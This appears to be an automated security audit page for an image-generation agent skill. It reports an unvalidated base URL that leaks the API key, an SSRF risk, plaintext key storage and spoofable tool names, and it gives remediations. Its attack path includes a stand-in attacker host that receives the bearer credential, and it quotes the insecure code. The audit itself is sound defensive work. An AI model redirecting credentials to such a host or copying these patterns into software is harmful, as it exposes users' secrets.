Back to skill

Security audit

Nano Banana Image T8

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a coherent image-generation helper, but it handles API keys and images in ways that need review before installation.

Review this before installing if you will use a real API key or private images. Only use it with a key you can rotate, avoid passing any custom --base-url, and understand that prompts, source images, and generated-image downloads may leave your machine through the configured service path. Remove or rotate the saved key if you stop using the skill.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/test_nano_banana_2.py:310
Finding
Unrestricted API Base URL Can Expose Bearer Credentials and User Content<![CDATA[ ## Vulnerability Details **File Location**: `scripts/test_nano_banana_2.py:310`, `scripts/test_nano_banana_2.py:354-355`, `scripts/test_nano_banana_2.py:124`, and `scripts/test_nano_banana_2.py:169-174` **Vulnerability Type**: Unvalidated credential-bearing network destination **Risk Level**: High ### Vulnerable Code ```python parser.add_argument("--base-url", default="https://ai.t8star.cn") ``` ```python with httpx.Client(headers=_build_headers(api_key), follow_redirects=True) as client: ``` ```python resp = client.post(f"{base_url}/v1/images/generations", json=payload, timeout=300) ``` ```python resp = client.post( f"{base_url}/v1/images/edits", data=form_data, files=files, timeout=300, ) ``` The authorization header is constructed as follows: ```python def _build_headers(api_key: str) -> dict[str, str]: return {"Authorization": f"Bearer {api_key}"} ``` ### Technical Analysis The Skill documentation states that the API base address must remain fixed at `https://ai.t8star.cn`, but the executable script exposes an unrestricted `--base-url` option. No validation enforces HTTPS, the expected hostname, or an approved port. The API key is installed as a default header on the shared `httpx.Client`. Requests to the caller-selected base URL therefore carry the user's bearer credential. Image prompts and image-edit source files are also sent to that destination. This violates the Skill's documented trust boundary. The declared functionality only requires access to the designated image-generation service, so allowing arbitrary credential-bearing origins exceeds the minimum network privileges necessary. ### Attack Path 1. A user, malicious instruction, or compromised orchestration layer influences the script arguments. 2. The invocation supplies an attacker-controlled destination, such as: ```text --base-url https://attacker.example ``` 3. The script creates an HTTP client containing: ```text Authorization: Bearer ...[truncated 975 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the `--base-url` option if alternate service origins are not a supported requirement. 2. If configurability is necessary, parse and validate the URL before creating any authenticated request: - Require the `https` scheme. - Require the exact approved hostname. - Reject embedded credentials, fragments, unexpected ports, and malformed hostnames. - Compare normalized hostnames rather than using prefix or substring checks. 3. Construct authenticated requests only after destination validation. 4. Avoid installing authorization as a client-wide default header. Add it only to requests sent to the validated API origin. 5. Disable automatic redirects for authenticated requests, or validate every redirect destination before forwarding credentials. 6. Add tests confirming rejection of HTTP URLs, lookalike domains, user-information URL syntax, alternate ports, and attacker-controlled hosts. 7. Align `SKILL.md` with the executable behavior so the documented fixed-origin policy is technically enforced. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/test_nano_banana_2.py:89
Finding
Unvalidated Server-Supplied Image URL Enables SSRF and Credential Disclosure<![CDATA[ ## Vulnerability Details **File Location**: `scripts/test_nano_banana_2.py:89-95` **Vulnerability Type**: Server-Side Request Forgery through an unvalidated response URL **Risk Level**: Medium ### Vulnerable Code ```python def _extract_image_bytes(item: dict[str, Any], client: httpx.Client) -> bytes: if "b64_json" in item and isinstance(item["b64_json"], str): return base64.b64decode(item["b64_json"]) url_value = item.get("url") if isinstance(url_value, str) and url_value: resp = client.get(url_value, timeout=60) resp.raise_for_status() return resp.content raise RuntimeError("响应中未包含 b64_json 或 url") ``` The same client is initialized with a default bearer authorization header and automatic redirect processing: ```python with httpx.Client(headers=_build_headers(api_key), follow_redirects=True) as client: ``` ### Technical Analysis The image API may return an arbitrary URL in the `url` response field. The script retrieves that URL without checking: - The URL scheme. - The hostname or resolved IP address. - Whether the destination is loopback, link-local, private, or otherwise reserved. - Whether redirects lead to a different or internal destination. - The response content type. - The maximum response size. Because the shared HTTP client has a default `Authorization` header, a direct request to a server-selected external URL may also include the user's bearer credential. Automatic redirects broaden the set of reachable destinations, although client behavior may restrict forwarding authentication across some cross-origin redirects. Reading `resp.content` loads the entire response into memory, and `_save_image` subsequently writes it to disk without a size restriction. A malicious endpoint can therefore also cause resource exhaustion. ### Attack Path 1. The configured API service is compromised, malicious, or replaced through the unrestricted `--base-url` behavior. 2. It returns a syntactically v ...[truncated 1315 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Prefer Base64 image data returned directly by the trusted API instead of fetching arbitrary response URLs. 2. If URL-based downloads are required: - Require HTTPS. - Allowlist exact image-delivery hostnames. - Resolve the hostname and reject loopback, private, link-local, multicast, unspecified, and reserved addresses. - Repeat destination validation after DNS resolution and for every redirect. - Disable redirects unless they are strictly required. 3. Use a separate unauthenticated HTTP client for image downloads so API authorization headers cannot be sent to image hosts. 4. Stream response bodies and enforce a conservative maximum byte count. 5. Validate the `Content-Type` against expected image formats and verify image signatures before saving. 6. Enforce connection, read, and total-operation timeouts. 7. Add tests covering loopback URLs, RFC 1918 addresses, IPv6 local addresses, DNS rebinding scenarios, cross-origin redirects, oversized files, and non-image responses. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/test_nano_banana_2.py:217
Finding
API Key Is Persisted in a Predictable Plaintext File Without Explicit Opt-In<![CDATA[ ## Vulnerability Details **File Location**: `scripts/test_nano_banana_2.py:23`, `scripts/test_nano_banana_2.py:217-221`, and `scripts/test_nano_banana_2.py:224-247` **Vulnerability Type**: Persistent plaintext credential storage **Risk Level**: Medium ### Vulnerable Code ```python _KEY_FILE = Path.home() / ".whaleclaw" / "credentials" / "nano_banana_api_key.txt" ``` ```python def _save_api_key(api_key: str) -> None: _KEY_FILE.parent.mkdir(parents=True, exist_ok=True) _KEY_FILE.write_text(api_key.strip(), encoding="utf-8") _restrict_file_permissions(_KEY_FILE) ``` ```python def _collect_api_key(provided_api_key: str, interactive: bool) -> str: if provided_api_key: return provided_api_key saved_key = _load_saved_api_key() if saved_key: if not interactive: return saved_key print("检测到已保存 API Key。") choice = input("输入 1 使用默认 Key,输入 2 替换 Key(默认 1): ").strip() if choice in {"", "1"}: return saved_key if choice != "2": raise SystemExit("无效选择,请输入 1 或 2") if not interactive: raise SystemExit( "缺少 API key(且无已保存 Key)。请用 --api-key 或环境变量 NANO_BANANA_API_KEY 传入。" ) entered = getpass.getpass("请输入 API Key(输入过程不可见): ").strip() if not entered: raise SystemExit( "缺少 API key,请通过 --api-key / 环境变量 NANO_BANANA_API_KEY / 交互输入提供" ) _save_api_key(entered) print(f"API Key 已保存到: {_KEY_FILE}") return entered ``` On POSIX systems, the script subsequently applies owner-only permissions: ```python else: os.chmod(path, 0o600) ``` ### Technical Analysis The image-generation operation requires the API key only while making a request. Nevertheless, an interactively entered key is automatically written to a predictable plaintext file and reused in later sessions. The user is not presented with an explicit choice to use the key temporarily or persist it. Mode `0600` is a useful mitigation, ...[truncated 2213 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Default to memory-only credential use. 2. Require an explicit option such as `--save-api-key` before persisting any credential. 3. Clearly inform the user of the storage path, persistence duration, and security implications before saving. 4. Prefer an operating-system credential manager or secret-storage service instead of a plaintext file. 5. Provide a supported command to remove the stored key and document credential rotation procedures. 6. If file storage must remain: - Create the file atomically with restrictive permissions at creation time. - Verify that the target is not a symbolic link. - Verify ownership and permissions before reading. - Restrict the containing credential directory as well as the file. 7. Recommend environment-based or secure standard-input credential delivery instead of command-line arguments. 8. Update `SKILL.md` to accurately distinguish transient credentials from credentials that are persisted. 9. Add tests proving that credentials are not stored unless the user explicitly opts in. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (11)

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding
Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding
Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding
Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding
Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Lp3

Medium
Category
MCP Least Privilege
Confidence
96% confidence
Finding
The skill invokes shell/Python scripts, reads environment variables, accesses files, persists credentials to disk, and makes network requests, but it declares no explicit tool restrictions or permission scope. This creates excessive ambient authority: if the skill or referenced script is modified, it could access broader system resources than users expect while handling an API key and uploaded images.

Natural-Language Policy Violations

Medium
Confidence
78% confidence
Finding
The skill content is written entirely in Chinese and directs fixed response phrasing such as `默认模型已设置为...` and `回答风格简短直接`, without indicating that the assistant should adapt to the user's preferred language. This can constitute a language/locale policy violation because it effectively forces a specific language without user opt-in.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The skill explicitly saves the user's API key to a persistent file, but the description does not clearly warn the user before collection/storage. Users may disclose sensitive credentials without informed consent, and the saved key can later be reused by the skill or exposed through host compromise, backups, or local misconfiguration.

Natural-Language Policy Violations

Medium
Confidence
97% confidence
Finding
The script's user-facing messages, prompts, and error text are consistently written in Chinese, including interactive prompts and runtime failures. Because there is no option to select another language or any documented locale justification in the file, this appears to impose a specific language without user opt-in.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
if os.name == "nt":
        import subprocess as _sp
        # 用 whoami 获取完整用户名(域\用户 或 机器\用户),比 USERNAME 环境变量更可靠
        whoami = _sp.run(["whoami"], capture_output=True, text=True).stdout.strip()
        user = whoami or os.environ.get("USERNAME", "")
        if user:
            _sp.run(
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

subprocess module call

Medium
Category
Dangerous Code Execution
Content
whoami = _sp.run(["whoami"], capture_output=True, text=True).stdout.strip()
        user = whoami or os.environ.get("USERNAME", "")
        if user:
            _sp.run(
                ["icacls", str(path), "/inheritance:r", "/grant:r", f"{user}:(R,W)"],
                capture_output=True,
            )
Confidence
70% confidence
Finding
subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Tainted flow: 'user' from os.environ.get (line 220, credential/environment) → subprocess.run (code execution)

Medium
Category
Data Flow
Content
whoami = _sp.run(["whoami"], capture_output=True, text=True).stdout.strip()
        user = whoami or os.environ.get("USERNAME", "")
        if user:
            _sp.run(
                ["icacls", str(path), "/inheritance:r", "/grant:r", f"{user}:(R,W)"],
                capture_output=True,
            )
Confidence
65% confidence
Finding
Data from a source is assigned to a variable that is later passed to a sink, creating a variable-mediated taint flow.

Static analysis

No suspicious patterns detected.